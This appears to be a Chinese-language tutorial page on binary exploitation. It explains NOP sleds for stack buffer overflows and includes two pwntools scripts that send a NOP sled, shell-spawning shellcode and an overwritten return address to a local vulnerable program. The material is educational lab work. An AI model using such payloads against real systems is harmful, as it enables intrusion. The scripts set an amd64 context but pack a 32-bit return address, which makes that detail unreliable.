发布于

NOPs

作者

由于在调试工具里得到的返回地址和正常运行时并不一致(这是运行时环境变量等因素有所不同造成的),所以这种情况下我们只能得到大致但不确切的 shellcode 起始地址,解决办法是在溢出 Padding 前面填充若干长度的 NOP。

NOP,无操作 (No OPeration) 指令的作用正如其名:什么也不做。所以在运行到 NOP 指令的时候只会使程序计数器加一,而不会发生其它的事情。这是一种可以破解栈随机化的缓冲区溢出攻击方式。攻击者通过填充字符串注入攻击代码,在实际的攻击代码前注入很长的 NOP 指令序列,只要程序的控制流指向该序列任意一处,都可以无副作用地跳转到 shellcode 的起始处,这允许我们有更大的误差范围,因为向前或向后移动几个字节不会影响程序的正常运行。这与直接运行 shellcode 具有相同的效果。这种 NOP Padding 通常被称为 NOP Slide 或 NOP Sled(俗称「滑雪橇」),因为 EIP 本质上是沿着它们 Slide 的。这样我们就可以通过增加 NOP 填充来试验 shellcode 的起始地址。NOP Sled 可以帮助攻击者提高访问到自己的攻击代码的概率。

地址空间配置随机化 (ASLR) 指程序运行时栈的起始地址是随机的,所以程序中存放各函数返回地址的地址也会发生对应的改变。可防止运行相同程序的相同系统因易预测栈地址而被攻击。

由于栈地址在一定范围的随机性,攻击者不能够知道攻击代码注入的地址,而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址(可以通过缓冲区溢出的方式篡改函数的返回地址)。所以,只能在一定范围内(栈随机导致攻击代码地址一定范围内随机)枚举攻击代码的地址(有依据的猜)。

Note

为了尝试破解 2232^{23} 的随机化,则需要枚举 2232^{23} 个返回地址。而使用 NOP Sled 的方式,若枚举一个 282^{8} Bytes 的 NOP sled,则只需要枚举 223/(28+1)2^{23} / (2^{8} + 1) 个返回地址即可,因为每次枚举出的地址只要是 282^{8} 中的之一就可以。(攻击代码本身有一个起始地址,所以为 255+1255 + 1

不用 NOP Sled,函数返回地址 ---> 攻击代码
使用 NOP Sled,函数返回地址 ---> NOP 序列(顺序执行)直到攻击代码地址

在 Intel x86 汇编中,NOP 指令是 \x90

NOP 指令是 XCHG EAX, EAX 的别名(32 bit 系统中),它实际上什么也不做。你可以在这个 问题 上阅读更多相关信息。

0x01 更新 Exploit

现在可以对我们的 EXP 进行一些细微的更改,以完成两件事:

  • 添加大量 NOP Padding
  • 调整我们的返回地址以指向 NOP 的中间而不是缓冲区的开头

Warning

确保 ASLR 仍处于禁用状态。你可能需要重新调整之前的 EXP,因为缓冲区位置可能会有所不同。

exp.py
from pwn import *

context(os='linux', arch='amd64', log_level='info')

context.binary = ELF('./vuln')

p = process()

payload = b'\x90' * 240             # 构建 NOPs
payload += asm(shellcraft.sh())     # 构建 shellcode
payload = payload.ljust(312, b'A')  # 溢出 Padding
payload += p32(0xffffd664 + 120)    # 缓冲区地址 + 一半 NOPs 长度

p.sendline(payload)

p.interactive()

Warning

值得一提的是:带有 NOP 的 shellcode 并不是万无一失的。如果出现用 NOP Sled 造成的意外错误,但 shellcode 在使用 NOP Sled 之前可以正常工作,请尝试减少 NOP Sled 的长度,因为它可能会篡改栈上的其它内容。

NOP 在某些架构中不是 \x90。如果你需要其他架构的 NOP,可以使用 pwntools:

nop = asm(shellcraft.nop())

0x02 最终 Exploit

exp.py
from pwn import *

context(os='linux', arch='amd64', log_level='info')

context.binary = ELF('./vuln')

p = process()

payload = asm(shellcraft.nop()) * 240  # 构建 NOPs
payload += asm(shellcraft.sh())        # 构建 shellcode
payload = payload.ljust(312, b'A')     # 溢出 Padding
payload += p32(0xffffd664 + 120)       # 缓冲区地址 + 一半 NOPs 长度

p.sendline(payload)

p.interactive()